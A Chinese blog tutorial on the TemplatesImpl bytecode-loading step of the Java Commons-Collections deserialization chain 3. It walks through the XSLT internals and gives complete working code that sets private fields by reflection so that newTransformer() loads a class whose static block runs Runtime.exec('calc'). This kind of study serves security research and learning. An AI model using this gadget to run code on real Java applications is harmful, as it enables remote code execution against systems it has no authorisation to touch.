java cc链3 TemplatesImpl类加载

java cc链3 TemplatesImpl类加载
使用url加载类
创建一个test类,只存在一段静态代码,构建为class文件,

package com.example;
public class test {
    static {
        System.out.println("aaaaa");
        }}

我这里把构建完成的test.class文件复制到D:/abc目录下,然后使用URLClassLoader进行加载,可以看到控制台正常输出aaaaa字段

public static void main(String[] args) throws Exception {
    URLClassLoader urlClassLoader = new URLClassLoader(new URL[]{new URL("file:///D:\\abc\\")});
    Class<?> a = urlClassLoader.loadClass("test");
    a.newInstance(); 
}

注意事项,由于test类存在package com.example;这里直接写urlClassLoader.loadClass("test");是没有问题的,但如果自己的是package org.example;,就会出错,需要修改为Class<?> a = urlClassLoader.loadClass("org.example.test")才能够正常执行,或者test类中直接删除package com.example;这一行即可

通过字节码进行类加载
使用上文创建的test类

public class test {
    static {
        System.out.println("aaaaa");
        }}

构建为class文件,读取class字节码,通过defineclass创建实例

ClassLoader systemClassLoader = ClassLoader.getSystemClassLoader();
Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", String.class, byte[].class, int.class, int.class);
defineClass.setAccessible(true);
byte[] code = Files.readAllBytes(Paths.get("D:\\abc\\test.class"));
Class test = (Class) defineClass.invoke(systemClassLoader, "test",code, 0, code.length);
test.newInstance();

会发现控制台正常输出 aaaaa,这里是由于defineClass是私有属性,所以通过反射的方式进行调用。

这里将test.java的内容更改为

  public class test {
    static {
        try {
            Runtime.getRuntime().exec("calc");
        } catch (IOException e) {
            throw new RuntimeException(e);
        }
    }
}

通过字节码加载的方式可以实现执行代码的效果。
在cc链1中是用的是InvokerTransformer.transform反射加载Runtime.class进而执行系统命令,如果能够找到一个接口调用了defineClassnewInstance(),符合加载字节码代码执行的条件,就可以将InvokerTransformer.transform进行替换

这里使用TemplatesImpl类,在getTransletInstance()方法中调用了defineTransletClasses()方法,并且刚好存在defineClassnewInstance()方法,并且getTransletInstance()在public方法newTransformer()中,满足方法中的条件,直到字节码实例的创建。

public synchronized Transformer newTransformer()
    throws TransformerConfigurationException
{
    TransformerImpl transformer;

    transformer = new TransformerImpl(getTransletInstance(), _outputProperties,
        _indentNumber, _tfactory);

创建TemplatesImpl()类调用newTransformer()方法,进入getTransletInstance()方法

TemplatesImpl templates = new TemplatesImpl();
templates.newTransformer();
private Translet getTransletInstance()
    throws TransformerConfigurationException {
    try {
        if (_name == null) return null;

        if (_class == null) defineTransletClasses();

        // The translet needs to keep a reference to all its auxiliary
        // class to prevent the GC from collecting them
        AbstractTranslet translet = (AbstractTranslet) _class[_transletIndex].newInstance();

这里进入defineTransletClasses()方法,调用defineclass方法,在运行newInstance()创建实例,这里需要_name不为空,通过反射修改_name属性值

        Class tc=templates.getClass();
        Field name = tc.getDeclaredField("_name");
        name.setAccessible(true);
        name.set(templates,"aaaa");

进入defineTransletClasses()方法,

private void defineTransletClasses()
    throws TransformerConfigurationException {

    if (_bytecodes == null) {
        ErrorMsg err = new ErrorMsg(ErrorMsg.NO_TRANSLET_CLASS_ERR);
        throw new TransformerConfigurationException(err.toString());
    }

    TransletClassLoader loader = (TransletClassLoader)
        AccessController.doPrivileged(new PrivilegedAction() {
            public Object run() {
                return new TransletClassLoader(ObjectFactory.findClassLoader(),_tfactory.getExternalExtensionsMap());
            }
        });

    try {
        final int classCount = _bytecodes.length;
        _class = new Class[classCount];

        if (classCount > 1) {
            _auxClasses = new HashMap<>();
        }

        for (int i = 0; i < classCount; i++) {
            _class[i] = loader.defineClass(_bytecodes[i]);
            final Class superClass = _class[i].getSuperclass();

            // Check if this is the main class
            if (superClass.getName().equals(ABSTRACT_TRANSLET)) {
                _transletIndex = i;
            }
            else {
                _auxClasses.put(_class[i].getName(), _class[i]);
            }
        }

首先在

if (_bytecodes == null) {
            ErrorMsg err = new ErrorMsg(ErrorMsg.NO_TRANSLET_CLASS_ERR);
            throw new TransformerConfigurationException(err.toString());
        }

这个条件判断中_bytecodes不能为空,否则会报错退出,

TransletClassLoader loader = (TransletClassLoader)
    AccessController.doPrivileged(new PrivilegedAction() {
        public Object run() {
            return new TransletClassLoader(ObjectFactory.findClassLoader(),_tfactory.getExternalExtensionsMap());
        }
    });

这个方法中_tfactory不能为空,要不然会出现空指针错误(找不到getExternalExtensionsMap()方法),
查找到

private transient TransformerFactoryImpl _tfactory = null;

使用transient修饰,该字段不能被序列化,在readObject中对_tfactory赋值为

_tfactory = new TransformerFactoryImpl();

那么添加

Field tfactory = tc.getDeclaredField("_tfactory");
tfactory.setAccessible(true);
tfactory.set(templates,new TransformerFactoryImpl());

在接下来的for循环中,_bytecodes为二维数组,通过for循环遍历一唯数组,

private byte[][] _bytecodes = null;
for (int i = 0; i < classCount; i++) {
      _class[i] = loader.defineClass(_bytecodes[i]);

进入defineClass中,根据之前的字节码创建实例,这里传入的_bytecodes[i]应该是读取的字节码,

 Class defineClass(final byte[] b) {
            return defineClass(null, b, 0, b.length);
        }

添加为

Field bytecodes = tc.getDeclaredField("_bytecodes");
bytecodes.setAccessible(true);
byte[] code = Files.readAllBytes(Paths.get("D:\\abc\\ceshi.class"));
byte[][] codes= {code};
 bytecodes.set(templates,codes);

这里的二维数组只有一个一维数组,所以for循环为

for (int i = 0; i < 1; i++)

i的取值只有0
在下面的if条件判断中

 for (int i = 0; i < classCount; i++) {
                _class[i] = loader.defineClass(_bytecodes[i]);
                final Class superClass = _class[i].getSuperclass();

                // Check if this is the main class
                if (superClass.getName().equals(ABSTRACT_TRANSLET)) {
                    _transletIndex = i;
                }
                else {
                    _auxClasses.put(_class[i].getName(), _class[i]);
                }
            }

            if (_transletIndex < 0) {
                ErrorMsg err= new ErrorMsg(ErrorMsg.NO_MAIN_TRANSLET_ERR, _name);
                throw new TransformerConfigurationException(err.toString());
            }

在两个if判断中,只需要满足superClass.getName().equals(ABSTRACT_TRANSLET)=true即可
其实在readObject中可以找到

_transletIndex = gf.get("_transletIndex", -1);

_transletIndex的默认值为-1,如果进入_auxClasses.put(_class[i].getName(), _class[i]);判断,下一步的if判断if (_transletIndex < 0) 还是会报错退出,还想要执行外部的newInstance()方法,

这里查看ABSTRACT_TRANSLET的属性值

private static String ABSTRACT_TRANSLET
    = "com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet";

也就是说父类需要为AbstractTranslet,由于这里的superClass其实是

_class[i] = loader.defineClass(_bytecodes[i]);
 final Class superClass = _class[i].getSuperclass();

传入的字节码的父类,所以这里需要对test.class进行修改
导入类,继承AbstractTranslet父类1

import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
public class ceshi extends AbstractTranslet{
    static {
        try {
            Runtime.getRuntime().exec("calc");
        } catch (IOException e) {
            throw new RuntimeException(e);
        }
    }

    @Override
    public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {

    }

    @Override
    public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {

    }
}

由于AbstractTranslet是个抽象类,需要实现AbstractTranslet的两个方法(导入类,继承方法后,点击给出的提示即可)

那么到现在,通过TemplatesImpl类,已经完成了字节码实例加载,完整的代码如下

test08.java
package org.example;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;

public class test08 {
    public static void main(String[] args) throws Exception {
        TemplatesImpl templates = new TemplatesImpl();
        Class tc=templates.getClass();
        Field name = tc.getDeclaredField("_name");
        name.setAccessible(true);
        name.set(templates,"aaaa");
        Field bytecodes = tc.getDeclaredField("_bytecodes");
        bytecodes.setAccessible(true);
        byte[] code = Files.readAllBytes(Paths.get("D:\\abc\\ceshi.class"));
        byte[][] codes= {code};
        bytecodes.set(templates,codes);
        Field tfactory = tc.getDeclaredField("_tfactory");
        tfactory.setAccessible(true);
        tfactory.set(templates,new TransformerFactoryImpl());
        templates.newTransformer();

    }
}
ceshi.java
import java.io.IOException;

import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;

public class ceshi extends AbstractTranslet{
    static {
        try {
            Runtime.getRuntime().exec("calc");
        } catch (IOException e) {
            throw new RuntimeException(e);
        }
    }


    @Override
    public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {

    }

    @Override
    public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {

    }
}

这里的ceshi就是上文中的test,构建执行,弹出calc,说明已经执行了ceshi.class的内容, 建议先观看白日梦组长基础篇关于动态类加载,再看cc链3,
参考
白日梦组长

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值